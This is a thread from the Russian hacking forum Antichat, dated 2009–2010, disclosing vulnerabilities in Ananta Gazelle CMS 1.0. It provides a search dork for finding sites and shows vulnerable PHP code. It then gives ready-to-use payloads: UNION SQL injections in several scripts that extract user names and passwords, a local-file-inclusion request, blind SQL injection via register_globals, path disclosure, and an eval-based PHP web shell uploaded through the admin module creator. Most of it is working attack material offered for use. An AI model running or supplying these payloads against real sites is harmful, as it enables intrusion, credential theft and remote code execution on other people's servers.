Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Уязвимости Ananta Gazelle (https://forum.antichat.xyz/showthread.php?t=117212)

Dimi4 22.04.2009 19:07

Уязвимости Ananta Gazelle
 
Ananta Gazelle

Product : Ananta Gazelle
Dork : "CMS: Ananta Gazelle"
Site: http://www.anantasoft.com/
Found by: Dimi4
Date : 22.04.09

Пробегся быстренько по коду:
Довольна интересная скуль. Рассмотрим user.php

PHP код:

    $user $_GET["user"];
    
$q mysql_query("select name from ".$tableprefix."users");
    while (
$k mysql_fetch_array($qMYSQL_ASSOC)) {
        
$userlist[$k{'name'}] = 1;
    }
    foreach (
$userlist as $name => $value) {
        if (
$user == $name) {
            
$q mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'");
            while (
$k mysql_fetch_array($qMYSQL_ASSOC)) {
                
$content "<h3>User profile: ".$k{'name'}."</h3><div>
                    <p>Username: "
.$k{'name'}."</p>"

Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду.
Регестрируемся на сайте как:
Код:

a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
А далее:
Код:

user.php?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users --
Sql-inj:
forgot.php
PHP код:

    $users mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'");
        while (
$user mysql_fetch_array($usersMYSQL_ASSOC)) { 

Код:

POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz_users --
Раскрытие пути: (Вызываем скрипт из папки /admin/)

http://localhost/Ananta_Gazelle1.0/admin/edituser.php


Sql-inj
remove.php

PHP код:

$modules mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'");
            while (
$mod mysql_fetch_array($modulesMYSQL_ASSOC)) {
                
$name $mod{'name'}; 

Код:

POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users --
Заливка шелла: Admin -> Create Module:
Name xek;
Code:
PHP код:

<?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>


.:[melkiy]:. 09.05.2010 22:35

Anantasoft Gazelle CMS 1.0


LFI
need: mq=off


file: index.php
PHP код:

$templatepath = include_once("modules/template.php"); // retrieve the correct template

......

include_once(
$templatepath."/index.php"); // add the template 

file:modules/template.php
PHP код:

if (isset($_GET) && isset($_GET["template"]) && $_GET["template"]) {
    if (
$admin == 1) {
        return 
"../templates/".$_GET["template"];            
    } else {
        return 
"templates/".$_GET["template"];
    } 

result:
Код:

GET /index.php?template=../../[local_file]%00

blind SQL-Injection
need: mq=off, rg=on

file: modules/login.php
PHP код:

if (isset($_SESSION["name"]) && $_SESSION["name"]) {
    
$users mysql_query("SELECT name FROM ".$tableprefix."users WHERE name='".$_SESSION["name"]."'");
    if (!
mysql_fetch_array($usersMYSQL_ASSOC)) {
        unset(
$_SESSION["name"]); // the user that somehow (2 website on same host using same session...) got logged in does not exist
    


result:
Код:

GET /index.php?_SESSION[name]=admin'+and+substring(version(),1,1)=5+--+

SQL-Injection
need: mq=off, rg=on

file:change.php
PHP код:

if (isset($_SESSION["name"]) && $_SESSION["name"]) {
    
$user $_SESSION["name"]; // get user name to auto fill-in current user data
}
$q mysql_query("select number, name, email, admin, active, showemail from ".$tableprefix."users where name='".$user."'"); 

result:
Код:

GET /change.php?_SESSION[name]=1'+union+select+1,version(),3,4,5,6+--+


Время: 13:40